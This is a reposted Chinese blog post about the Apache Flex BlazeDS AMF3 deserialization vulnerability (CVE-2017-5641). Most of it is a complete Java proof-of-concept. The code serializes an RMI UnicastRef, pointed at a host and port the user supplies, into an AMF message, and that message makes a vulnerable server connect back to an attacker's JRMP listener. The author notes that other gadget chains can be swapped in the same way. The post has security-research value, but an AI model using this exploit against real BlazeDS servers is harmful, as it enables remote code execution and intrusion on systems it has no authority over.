码迷,mamicode.com
首页 > Web开发 > 详细

Apache Flex BlazeDS(CVE-2017-5641)AFM3反序列化

时间:2019-08-22 18:50:46      阅读:170      评论:0      收藏:0      [点我收藏+]

标签:ext   main   com   poi   ini   image   throws   object   rate   

详细的AFM协议看这篇文章:
http://network.51cto.com/art/201006/207886.htm
给出原始的demo

package ysoserial.payloads;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.util.Arrays;

import flex.messaging.io.SerializationContext;
import flex.messaging.io.amf.ActionContext;
import flex.messaging.io.amf.ActionMessage;
import flex.messaging.io.amf.AmfMessageDeserializer;
import flex.messaging.io.amf.AmfMessageSerializer;
import flex.messaging.io.amf.MessageBody;

public class Amf3ExternalizableUnicastRef {

    public static void main(String[] args) throws Exception {
        if (args.length < 2 || (args.length == 3 && !args[0].equals("-d"))) {
            System.err.println("usage: java -jar " + Amf3ExternalizableUnicastRef.class.getSimpleName() + ".jar [-d] <host> <port>");
            return;
        }
        boolean doDeserialize = false;
        if (args.length == 3) {
            doDeserialize = true;
            args = Arrays.copyOfRange(args, 1, args.length);
        }

        // generate the UnicastRef object
        Object unicastRef = generateUnicastRef(args[0], Integer.parseInt(args[1]));
        // serialize object to AMF message
        byte[] amf = serialize(unicastRef);
        // deserialize AMF message
        if (doDeserialize) {
            deserialize(amf);
        } else {
            System.out.write(amf);
        }
    }

    public static Object generateUnicastRef(String host, int port) {
        java.rmi.server.ObjID objId = new java.rmi.server.ObjID();
        sun.rmi.transport.tcp.TCPEndpoint endpoint = new sun.rmi.transport.tcp.TCPEndpoint(host, port);
        sun.rmi.transport.LiveRef liveRef = new sun.rmi.transport.LiveRef(objId, endpoint, false);
        return new sun.rmi.server.UnicastRef(liveRef);
    }

    public static byte[] serialize(Object data) throws IOException {
        MessageBody body = new MessageBody();
        body.setData(data);

        ActionMessage message = new ActionMessage();
        message.addBody(body);

        ByteArrayOutputStream out = new ByteArrayOutputStream();

        AmfMessageSerializer serializer = new AmfMessageSerializer();
        serializer.initialize(SerializationContext.getSerializationContext(), out, null);
        serializer.writeMessage(message);

        return out.toByteArray();
    }

    public static void deserialize(byte[] amf) throws ClassNotFoundException, IOException {
        ByteArrayInputStream in = new ByteArrayInputStream(amf);

        AmfMessageDeserializer deserializer = new AmfMessageDeserializer();
        deserializer.initialize(SerializationContext.getSerializationContext(), in, null);
        deserializer.readMessage(new ActionMessage(), new ActionContext());
    }
}

序列化数据封装到body.setData(data);中,generateUnicastRef函数相当与yso中的JRMPClient模块,只不过yso中的这个模块添加了代理的代码。实现效果如下:
技术图片
如果将其他的gadgets赋值到setData中也是一样的
技术图片
http://codewhitesec.blogspot.com/2017/04/amf.html

Apache Flex BlazeDS(CVE-2017-5641)AFM3反序列化

标签:ext   main   com   poi   ini   image   throws   object   rate   

原文地址:https://www.cnblogs.com/afanti/p/11396074.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!